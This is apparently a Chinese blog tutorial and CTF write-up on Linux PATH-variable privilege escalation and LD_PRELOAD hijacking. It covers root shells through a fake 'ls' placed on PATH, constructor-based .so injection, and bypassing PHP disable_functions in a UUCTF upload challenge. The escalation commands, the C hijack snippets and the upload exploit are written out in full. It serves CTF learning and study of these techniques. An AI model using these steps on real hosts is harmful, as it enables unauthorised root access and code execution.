简单看看环境变量劫持


建立在他人文章基础上的文章,简单看看环境变量带来的提权/劫持

环境变量提权

挺有意思的,也是最近的hgame2024有接触到

PATH是linux系统中的环境变量,指定可执行程序的所有/bin和/sbin目录,并且通过PATH环境变量执行用户的命令(用来搜索可执行文件)

环境变量提权的必要条件是有一个root权限的可执行程序(一般都是c语言编写的),例如下面的demo(随手写的,不知道对不对):

1
2
3
4
5
#include <stdio.h>
void main(){
setuid(0);
system('ls');
}

并且:

1
chmod u+s test

就是一个简单的通过setuid(0),也就是root,来执行ls命令

调用这个可执行程序来执行的ls是以root权限来执行的

拿到shell之后用find查一下就好了(

1
find / -perm -u=s -type f 2>dev/null

此时执行这个test就是ls

提权方法

本质都是将/bin/sh或者/bin/bash添加进一个执行命令的同名的程序(比如上面的demo是ls,那就添加进ls)里,然后环境变量添加自己的path,然后执行这个shell,此时ls就会执行到我们添加的环境变量的ls程序(记得给777)

  1. echo法:
1
2
3
4
5
echo "/bin/bash" > /tmp/ls
chmod 777 /tmp/ls
export PATH=/tmp:$PATH

#然后执行这个test可执行文件
  1. cp法
1
2
3
4
cp /bin/bash /tmp/ls
export PATH=/tmp:$PATH

#然后执行这个test可执行文件
  1. 软链接法
1
2
3
4
ln -s /bin/bash /tmp/ls
export PATH=/tmp:$PATH

#然后执行这个test可执行文件

执行时test会去调用ls,它先去环境变量中找到了/tmp目录下的ls,结果一执行就执行了/bin/bash,获取到了root权限

例题

详见hgame2024的Reverse and Escalation II

同样的方式反弹shell后

这个题只需要打开ida然后查看伪代码就知道:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp){
unsigned int v3;
unsigned int v4;
unsigned int v6;
unsigned int v7;
int i;
int v9;

v3 = time(0LL);
srand(v3);
v9=0;
for(i=1;i<argc;++i){
v7 = rand() % 23333;
v6 = rand() % 23333;
printf("%d + %d - \n", v7, v6);
if(v7 + v6 != atoi(argv[i])){
puts("wrong answer!");
return 1;
}
v4 = atoi(argv[i]);
printf("%d correct!\n", v4);
if(++v9 > 38){
setuid(0);
system("ls");
return 0;
}
return 0;
}
}

抛开随机数这一关,本质上就是用root权限执行ls

直接用上面的方式做一遍就好了。

环境变量劫持

ld_preload环境变量劫持

详细的文章可以看

LD_PRELOAD劫持_unset ld_preload-CSDN博客

ld_preload其实是linux下的一个环境变量,用于动态链接库的加载。

它的优先级在动态链接库中是最高的,类似于.user.ini里的auto_prepend_file

链接:编译器找到程序中所引用的函数或全局变量所存在的位置

静态链接:在程序运行之前就把各个模块以及所需要的库函数连接成一个可执行程序,之后不再拆开

装入时动态链接:源程序编译后得到的一组模块,在装入内存时边装入变链接

运行时动态链接:源程序编译后得到的模块,在执行的时候才对他进行动态链接

简单的说动态链接在编译的时候并没有编译到可执行文件中,只在执行的时候动态加载库中的函数

ld_preload用于linux中动态链接库的环境变量,它允许你定义在程序中运行之前优先加载的动态链接库。此时我们就可以自定义动态链接库内装入恶意函数。此时称ld_preload劫持

如果我们写的.so有一个恶意构造的函数和我们指令执行的函数一样,而ld_preload指向这个.so文件,此时执行指令的时候就会优先调用恶意文件覆盖的那个函数

.so就是动态链接库的文件名,相当于windows的dll文件

export LD_PRELOAD=***能够修改LD_PRELOAD的指向

自己测试的时候记得还原 unset LD_PRELOAD

例子

例如一个c语言代码:

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int main()
{
srand(time(NULL));
int i = 10;
while(i--) printf("%d\n",rand());
return 0;
}

此处生成了10个随机数,为random.c

gcc编译:

1
gcc -o random random.c

执行

1
./random

写了一个urandom.c,覆盖了random.c里的rand()函数

用下面的方式编译成.so文件

1
gcc -shared -fPIC urandom.c -o urandom.so

此时再执行一次random:

他就会返回的都是我们urandom设定好的666

利用ldd命令可以查看可执行文件加载的动态库优先顺序:

可以看到如果我们指定了LD_PRELOAD=urandom.so使用ldd时可以看到所加载的so有我们自己实现的urandom.so,由于加载顺序最高,所以优先使用urandom.so中的rand函数(libc.so.6是默认的动态链接库)

利用(已过时)

其实linux的命令,例如ls这些在背后运行了许多函数,如果我们用ld_preload劫持了其中一个函数,就会引发危险

例如ls命令

通过readelf查询ls使用了什么函数:

1
readelf -Ws /usr/bin/ls

选取其中之一重写,例如strcpy(line 13)和strncmp(line 10)

踩坑strcpy

这边选取strcpy

如果不知道strcpy的参数格式可以先编译一次,然后查看报错信息:

发现不行,不显示,然后发现clear用不了了:

神秘原因,clear也没调用strcpy啊

换strncmp

同样的情况。。

换成system

strncmp居然可以了,而strcpy不行:

真的神秘

猜测是exit的原因…?

  • 还有一点要注意的就是不要写return 0

利用(新版)

主要是不知道为什么不能够用readelf了,不准确

这里用ltrace读就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
root@VM-8-15-debian:~/tmp# ltrace /bin/ls
strrchr("/bin/ls", '/') = "/ls"
setlocale(LC_ALL, "") = "en_US.utf8"
bindtextdomain("coreutils", "/usr/share/locale") = "/usr/share/locale"
textdomain("coreutils") = "coreutils"
__cxa_atexit(0x561b150b5eb0, 0, 0x561b150cb348, 0) = 0
getopt_long(1, 0x7ffdda9e0308, "abcdfghiklmnopqrstuvw:xABCDFGHI:"..., 0x561b150ca620, -1) = -1
getenv("LS_BLOCK_SIZE") = nil
getenv("BLOCK_SIZE") = nil
getenv("BLOCKSIZE") = nil
getenv("POSIXLY_CORRECT") = nil
getenv("BLOCK_SIZE") = nil
isatty(1) = 1
ioctl(1, 21523, 0x7ffdda9e01a0) = 0
getenv("TABSIZE") = nil
getenv("QUOTING_STYLE") = nil
__errno_location() = 0x7f1cf881fad8
memcpy(0x561b16e0aa00, "\003\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 56) = 0x561b16e0aa00
__errno_location() = 0x7f1cf881fad8
memcpy(0x561b16e0aa40, "\003\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 56) = 0x561b16e0aa40
getenv("TZ") = nil
reallocarray(0, 100, 208, 0x561b16e0aa80) = 0x561b16e0ab10
strlen(".") = 1
memcpy(0x561b16e0fc90, ".\0", 2) = 0x561b16e0fc90
__errno_location() = 0x7f1cf881fad8
opendir(".") = 0x561b16e0fcb0
readdir(0x561b16e0fcb0) = 0x561b16e0fce0
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("result") = 6
strlen("result") = 6
memcpy(0x561b16e17cf0, "result\0", 7) = 0x561b16e17cf0
readdir(0x561b16e0fcb0) = 0x561b16e0fd00
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("strncmp.c") = 9
strlen("strncmp.c") = 9
memcpy(0x561b16e17d10, "strncmp.c\0", 10) = 0x561b16e17d10
readdir(0x561b16e0fcb0) = 0x561b16e0fd20
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("getuid.c") = 8
strlen("getuid.c") = 8
memcpy(0x561b16e17d30, "getuid.c\0", 9) = 0x561b16e17d30
readdir(0x561b16e0fcb0) = 0x561b16e0fd40
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("exp.so") = 6
strlen("exp.so") = 6
memcpy(0x561b16e17d50, "exp.so\0", 7) = 0x561b16e17d50
readdir(0x561b16e0fcb0) = 0x561b16e0fd60
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("vim") = 3
strlen("vim") = 3
memcpy(0x561b16e17d70, "vim\0", 4) = 0x561b16e17d70
readdir(0x561b16e0fcb0) = 0x561b16e0fd78
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("test.php") = 8
strlen("test.php") = 8
memcpy(0x561b16e17d90, "test.php\0", 9) = 0x561b16e17d90
readdir(0x561b16e0fcb0) = 0x561b16e0fd98
readdir(0x561b16e0fcb0) = 0x561b16e0fdb0
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("qwq.c") = 5
strlen("qwq.c") = 5
memcpy(0x561b16e17db0, "qwq.c\0", 6) = 0x561b16e17db0
readdir(0x561b16e0fcb0) = 0x561b16e0fdd0
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("strncmp.so") = 10
strlen("strncmp.so") = 10
memcpy(0x561b16e17dd0, "strncmp.so\0", 11) = 0x561b16e17dd0
readdir(0x561b16e0fcb0) = 0x561b16e0fdf0
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("getuid.so") = 9
strlen("getuid.so") = 9
memcpy(0x561b16e17df0, "getuid.so\0", 10) = 0x561b16e17df0
readdir(0x561b16e0fcb0) = 0x561b16e0fe10
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("urandom.so") = 10
strlen("urandom.so") = 10
memcpy(0x561b16e17e10, "urandom.so\0", 11) = 0x561b16e17e10
readdir(0x561b16e0fcb0) = 0x561b16e0fe30
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("random.c") = 8
strlen("random.c") = 8
memcpy(0x561b16e17e30, "random.c\0", 9) = 0x561b16e17e30
readdir(0x561b16e0fcb0) = 0x561b16e0fe50
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("random") = 6
strlen("random") = 6
memcpy(0x561b16e17e50, "random\0", 7) = 0x561b16e17e50
readdir(0x561b16e0fcb0) = 0x561b16e0fe70
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("qwq.so") = 6
strlen("qwq.so") = 6
memcpy(0x561b16e17e70, "qwq.so\0", 7) = 0x561b16e17e70
readdir(0x561b16e0fcb0) = 0x561b16e0fe90
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("solve.c") = 7
strlen("solve.c") = 7
memcpy(0x561b16e17e90, "solve.c\0", 8) = 0x561b16e17e90
readdir(0x561b16e0fcb0) = 0x561b16e0feb0
readdir(0x561b16e0fcb0) = 0x561b16e0fec8
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("vim.c") = 5
strlen("vim.c") = 5
memcpy(0x561b16e17eb0, "vim.c\0", 6) = 0x561b16e17eb0
readdir(0x561b16e0fcb0) = 0x561b16e0fee8
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("urandom.c") = 9
strlen("urandom.c") = 9
memcpy(0x561b16e17ed0, "urandom.c\0", 10) = 0x561b16e17ed0
readdir(0x561b16e0fcb0) = 0x561b16e0ff08
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("exp.c") = 5
strlen("exp.c") = 5
memcpy(0x561b16e17ef0, "exp.c\0", 6) = 0x561b16e17ef0
readdir(0x561b16e0fcb0) = 0x561b16e0ff28
__errno_location() = 0x7f1cf881fad8
__ctype_get_mb_cur_max() = 6
strlen("solve") = 5
strlen("solve") = 5
memcpy(0x561b16e17f10, "solve\0", 6) = 0x561b16e17f10
readdir(0x561b16e0fcb0) = 0
closedir(0x561b16e0fcb0) = 0
reallocarray(0, 18, 24, 0x7f1cf89b7c57) = 0x561b16e0fcb0
strlen("result") = 6
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("strncmp.c") = 9
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("getuid.c") = 8
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("exp.so") = 6
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("vim") = 3
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("test.php") = 8
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("qwq.c") = 5
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("strncmp.so") = 10
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("getuid.so") = 9
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("urandom.so") = 10
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("random.c") = 8
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("random") = 6
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("qwq.so") = 6
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("solve.c") = 7
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("vim.c") = 5
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("urandom.c") = 9
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("exp.c") = 5
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
strlen("solve") = 5
__ctype_get_mb_cur_max() = 6
__ctype_get_mb_cur_max() = 6
_setjmp(0x561b150cb640, 0x7ffdda9ddd5f, 0, 0) = 0
__errno_location() = 0x7f1cf881fad8
strcoll("exp.c", "solve") = -71
__errno_location() = 0x7f1cf881fad8
strcoll("urandom.c", "exp.c") = 71
__errno_location() = 0x7f1cf881fad8
strcoll("urandom.c", "solve") = 26
memcpy(0x561b16e0fd38, "@\267\340\026\033V\0\0", 8) = 0x561b16e0fd38
__errno_location() = 0x7f1cf881fad8
strcoll("solve.c", "vim.c") = -48
memcpy(0x561b16e0fd48, "p\266\340\026\033V\0\0", 8) = 0x561b16e0fd48
__errno_location() = 0x7f1cf881fad8
strcoll("solve.c", "exp.c") = 71
__errno_location() = 0x7f1cf881fad8
strcoll("solve.c", "solve") = 1
__errno_location() = 0x7f1cf881fad8
strcoll("solve.c", "urandom.c") = -26
__errno_location() = 0x7f1cf881fad8
strcoll("vim.c", "urandom.c") = 22
memcpy(0x561b16e0fd38, "p\266\340\026\033V\0\0", 8) = 0x561b16e0fd38
__errno_location() = 0x7f1cf881fad8
strcoll("random", "qwq.so") = 6
__errno_location() = 0x7f1cf881fad8
strcoll("urandom.so", "random.c") = 1
__errno_location() = 0x7f1cf881fad8
strcoll("random.c", "qwq.so") = 6
__errno_location() = 0x7f1cf881fad8
strcoll("random.c", "random") = 1
memcpy(0x561b16e0fd50, "0\263\340\026\033V\0\0`\262\340\026\033V\0\0", 16) = 0x561b16e0fd50
__errno_location() = 0x7f1cf881fad8
strcoll("qwq.so", "exp.c") = 70
__errno_location() = 0x7f1cf881fad8
strcoll("qwq.so", "solve") = -1
__errno_location() = 0x7f1cf881fad8
strcoll("random", "solve") = -1
__errno_location() = 0x7f1cf881fad8
strcoll("random.c", "solve") = -1
__errno_location() = 0x7f1cf881fad8
strcoll("urandom.so", "solve") = 26
__errno_location() = 0x7f1cf881fad8
strcoll("urandom.so", "solve.c") = 26
__errno_location() = 0x7f1cf881fad8
strcoll("urandom.so", "urandom.c") = 92
__errno_location() = 0x7f1cf881fad8
strcoll("urandom.so", "vim.c") = -22
__errno_location() = 0x7f1cf881fad8
strcoll("strncmp.so", "getuid.so") = 3
__errno_location() = 0x7f1cf881fad8
strcoll("qwq.c", "getuid.so") = 2
__errno_location() = 0x7f1cf881fad8
strcoll("qwq.c", "strncmp.so") = -1
__errno_location() = 0x7f1cf881fad8
strcoll("vim", "test.php") = 33
memcpy(0x561b16e0fd48, "P\256\340\026\033V\0\0", 8) = 0x561b16e0fd48
__errno_location() = 0x7f1cf881fad8
strcoll("test.php", "getuid.so") = 3
__errno_location() = 0x7f1cf881fad8
strcoll("test.php", "qwq.c") = 1
__errno_location() = 0x7f1cf881fad8
strcoll("test.php", "strncmp.so") = 15
memcpy(0x561b16e0fce8, " \257\340\026\033V\0\0P\256\340\026\033V\0\0", 16) = 0x561b16e0fce8
__errno_location() = 0x7f1cf881fad8
strcoll("getuid.c", "exp.so") = 68
__errno_location() = 0x7f1cf881fad8
strcoll("result", "strncmp.c") = -1
memcpy(0x561b16e0fd48, "\340\253\340\026\033V\0\0", 8) = 0x561b16e0fd48
__errno_location() = 0x7f1cf881fad8
strcoll("result", "exp.so") = 70
__errno_location() = 0x7f1cf881fad8
strcoll("result", "getuid.c") = 2
memcpy(0x561b16e0fcc0, "\020\253\340\026\033V\0\0\340\253\340\026\033V\0\0", 16) = 0x561b16e0fcc0
__errno_location() = 0x7f1cf881fad8
strcoll("exp.so", "getuid.so") = -68
__errno_location() = 0x7f1cf881fad8
strcoll("getuid.c", "getuid.so") = -92
__errno_location() = 0x7f1cf881fad8
strcoll("result", "getuid.so") = 2
__errno_location() = 0x7f1cf881fad8
strcoll("result", "qwq.c") = 6
__errno_location() = 0x7f1cf881fad8
strcoll("result", "strncmp.so") = -1
__errno_location() = 0x7f1cf881fad8
strcoll("strncmp.c", "strncmp.so") = -92
memcpy(0x561b16e0fd70, "\300\260\340\026\033V\0\0 \257\340\026\033V\0\0P\256\340\026\033V\0\0", 24) = 0x561b16e0fd70
__errno_location() = 0x7f1cf881fad8
strcoll("exp.so", "exp.c") = 92
__errno_location() = 0x7f1cf881fad8
strcoll("exp.so", "qwq.so") = -70
__errno_location() = 0x7f1cf881fad8
strcoll("getuid.c", "qwq.so") = -2
__errno_location() = 0x7f1cf881fad8
strcoll("getuid.so", "qwq.so") = -2
__errno_location() = 0x7f1cf881fad8
strcoll("qwq.c", "qwq.so") = -92
__errno_location() = 0x7f1cf881fad8
strcoll("result", "qwq.so") = 6
__errno_location() = 0x7f1cf881fad8
strcoll("result", "random") = 45
__errno_location() = 0x7f1cf881fad8
strcoll("result", "random.c") = 45
__errno_location() = 0x7f1cf881fad8
strcoll("result", "solve") = -1
__errno_location() = 0x7f1cf881fad8
strcoll("strncmp.c", "solve") = 2
__errno_location() = 0x7f1cf881fad8
strcoll("strncmp.c", "solve.c") = 2
__errno_location() = 0x7f1cf881fad8
strcoll("strncmp.c", "urandom.c") = -26
__errno_location() = 0x7f1cf881fad8
strcoll("strncmp.so", "urandom.c") = -26
__errno_location() = 0x7f1cf881fad8
strcoll("test.php", "urandom.c") = -11
__errno_location() = 0x7f1cf881fad8
strcoll("vim", "urandom.c") = 22
__errno_location() = 0x7f1cf881fad8
strcoll("vim", "urandom.so") = 22
__errno_location() = 0x7f1cf881fad8
strcoll("vim", "vim.c") = -1
reallocarray(0, 34, 24, 0x561b16e17d73) = 0x561b16e0fe70
reallocarray(0, 595, 8, 0) = 0x561b16e101b0
strlen("exp.c") = 5
fwrite_unlocked("exp.c", 1, 5, 0x7f1cf8a8e760) = 5
__overflow(0x7f1cf8a8e760, 9, 6, 8) = 9
strlen("getuid.c") = 8
fwrite_unlocked("getuid.c", 1, 8, 0x7f1cf8a8e760) = 8
__overflow(0x7f1cf8a8e760, 32, 1, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 2, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 3, 8) = 32
strlen("qwq.c") = 5
fwrite_unlocked("qwq.c", 1, 5, 0x7f1cf8a8e760) = 5
__overflow(0x7f1cf8a8e760, 32, 1, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 2, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 3, 8) = 32
strlen("random") = 6
fwrite_unlocked("random", 1, 6, 0x7f1cf8a8e760) = 6
__overflow(0x7f1cf8a8e760, 32, 2, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 3, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 4, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 5, 8) = 32
strlen("result") = 6
fwrite_unlocked("result", 1, 6, 0x7f1cf8a8e760) = 6
__overflow(0x7f1cf8a8e760, 32, 4, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 5, 8) = 32
strlen("solve.c") = 7
fwrite_unlocked("solve.c", 1, 7, 0x7f1cf8a8e760) = 7
__overflow(0x7f1cf8a8e760, 9, 5, 8) = 9
strlen("strncmp.so") = 10
fwrite_unlocked("strncmp.so", 1, 10, 0x7f1cf8a8e760) = 10
__overflow(0x7f1cf8a8e760, 32, 3, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 4, 8) = 32
strlen("urandom.c") = 9
fwrite_unlocked("urandom.c", 1, 9, 0x7f1cf8a8e760) = 9
__overflow(0x7f1cf8a8e760, 9, 6, 8) = 9
strlen("vim") = 3
fwrite_unlocked("vim", 1, 3, 0x7f1cf8a8e760) = 3
__overflow(0x7f1cf8a8e760, 10, 10, 0exp.c getuid.c qwq.c random result solve.c strncmp.so urandom.c vim
) = 10
strlen("exp.so") = 6
fwrite_unlocked("exp.so", 1, 6, 0x7f1cf8a8e760) = 6
__overflow(0x7f1cf8a8e760, 9, 7, 8) = 9
strlen("getuid.so") = 9
fwrite_unlocked("getuid.so", 1, 9, 0x7f1cf8a8e760) = 9
__overflow(0x7f1cf8a8e760, 32, 2, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 3, 8) = 32
strlen("qwq.so") = 6
fwrite_unlocked("qwq.so", 1, 6, 0x7f1cf8a8e760) = 6
__overflow(0x7f1cf8a8e760, 32, 2, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 3, 8) = 32
strlen("random.c") = 8
fwrite_unlocked("random.c", 1, 8, 0x7f1cf8a8e760) = 8
__overflow(0x7f1cf8a8e760, 32, 4, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 5, 8) = 32
strlen("solve") = 5
fwrite_unlocked("solve", 1, 5, 0x7f1cf8a8e760) = 5
__overflow(0x7f1cf8a8e760, 32, 3, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 4, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 5, 8) = 32
strlen("strncmp.c") = 9
fwrite_unlocked("strncmp.c", 1, 9, 0x7f1cf8a8e760) = 9
__overflow(0x7f1cf8a8e760, 9, 7, 8) = 9
strlen("test.php") = 8
fwrite_unlocked("test.php", 1, 8, 0x7f1cf8a8e760) = 8
__overflow(0x7f1cf8a8e760, 32, 1, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 2, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 3, 8) = 32
__overflow(0x7f1cf8a8e760, 32, 4, 8) = 32
strlen("urandom.so") = 10
fwrite_unlocked("urandom.so", 1, 10, 0x7f1cf8a8e760) = 10
__overflow(0x7f1cf8a8e760, 9, 7, 8) = 9
strlen("vim.c") = 5
fwrite_unlocked("vim.c", 1, 5, 0x7f1cf8a8e760) = 5
__overflow(0x7f1cf8a8e760, 10, 10, 0exp.so getuid.so qwq.so random.c solve strncmp.c test.php urandom.so vim.c
) = 10
__fpending(0x7f1cf8a8e760, 0, 1, 1) = 0
fileno(0x7f1cf8a8e760) = 1
__freading(0x7f1cf8a8e760, 0, 1, 1) = 0
__freading(0x7f1cf8a8e760, 0, 0, 1) = 0
fflush(0x7f1cf8a8e760) = 0
fclose(0x7f1cf8a8e760) = 0
__fpending(0x7f1cf8a8e680, 0, 0x7f1cf8a89900, 0xffffffff) = 0
fileno(0x7f1cf8a8e680) = 2
__freading(0x7f1cf8a8e680, 0, 0x7f1cf8a89900, 0xffffffff) = 0
__freading(0x7f1cf8a8e680, 0, 0, 0xffffffff) = 0
fflush(0x7f1cf8a8e680) = 0
fclose(0x7f1cf8a8e680) = 0
+++ exited (status 0) +++

重写fflush即可

使用ld_preload绕过disable_function

这个老生常谈了

步骤:

  • 查看进程调用的系统函数明细
  • 找寻内部可以启动新进程的php函数
  • 找到这个新进程调用的系统库函数并且重写
  • PHP环境下劫持系统函数

例如常见的mail函数:

利用mail()启动新进程劫持系统

分析一下mail调用了什么:

一个简单的php:

1
2
3
4
//mail.php
<?php
mail("a@localhost", "", "", "", "");
?>

利用strace跟踪系统调用

1
strace -f php mail.php 2>&1 | grep -A2 -B2 execve

查看它会调用什么系统函数,比如/bin/sh,比如这个sendmail

由于kali里没有sendmail,这里便直说是调用了getuid()函数了

直接构造一个getuid.c,并且payload执行id命令:

注意这里id要用双引号包裹,我这边打错了,后面改正了

如果说命令没找到的,可以apt install一下

error_log()

同样地,error_log也可以这么干,同样调用了getuid

利用ld_preload劫持新进程

我们劫持getuid是因为前面这些函数调用了getuid,但是实际程序上如果禁用了sendmail,或者根本没有安装sendmail的话就根本劫持不了

所以另一个方法就是

系统通过ld_preload预先加载动态链接库,然后加载时就执行代码,这样就不用考虑要劫持什么函数了

gcc中有一个c语言拓展修饰符__attribute__((__constructor__)),可以让他修饰的函数再main()之前执行,若他出现在动态链接库中,一旦被加载,就会立刻执行被这个修饰的函数。这样一旦任意新建任意进程,就会立即被rce

example:

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__((__constructor__)) void preload(void){
unsetenv("LD_PRELOAD");
system("id");
}

编译成so,LD_PRELOAD添加路径:

无论执行什么命令,都会执行id命令

项目文件预览 - bypass_disablefunc_via_LD_PRELOAD - GitCode

CTF例题

[UUCTF 2022 新生赛] uploadandinject

nssctf平台

上传文件,提示hint.php

1
nothing here,but I think you look look JPG,index's swp

下载.index.php.swp

通过vim恢复(当然可以使用其他恢复工具)

1
vim -r index.php.swp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$PATH=$_GET["image_path"];
if((!isset($PATH))){
$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
if(file_exists($img_path)){
putenv("LD_PRELOAD=/var/www/html/$img_path");
system("echo Success to load");
echo "<br><img src=$img_path>";
}else{
system("echo Failed to load ");
}
}

一眼漏洞,只需要上传一个.so然后劫持就好了

  • ps:不一定需要.so后缀

这里要检查它调用了什么函数,关键在于这个system("echo Success to load");

strace看一下

1
strace -f php mail.php 2>&1 | grep -A2 -B2 execve

emmm,只有一个/bin/sh

这个时候追踪一下/bin/sh

1
readelf -Ws /bin/sh

发现了strcpy

写一个exp.c

剩下就是找上传路径

试一下发现在/upload/upload.php

无其他限制,直接改后缀就能传

直接把我们的路径加载上去,就getshell咯:

偷一下上传文件模板,欸嘿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
echo <<<EOF
<html>
<head>
<meta charset="utf-8">
<title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="上传">
</form>
</body>
</html>
EOF;
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "ERROR: " . $_FILES["file"]["error"] . "<br>";
}
else
{
// 判断当前目录下的 upload 目录是否存在该文件
// 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
//if (file_exists("/var/www/html/upload/" . $_FILES["file"]["name"]))
if($FILES["file"]["name"]==="1.jpg")
{
//echo "upload/"+$_FILES["file"]["name"] . " 文件已经存在。 ";
echo "这个图片你替换不了";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "/var/www/html/upload/" . $_FILES["file"]["name"]);
echo "image_path: " . "upload/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "hacker,别乱上传其他文件了,你只能上传jpg,gif,png文件";
}
?>

如果后续有的话还会慢慢补充的,放心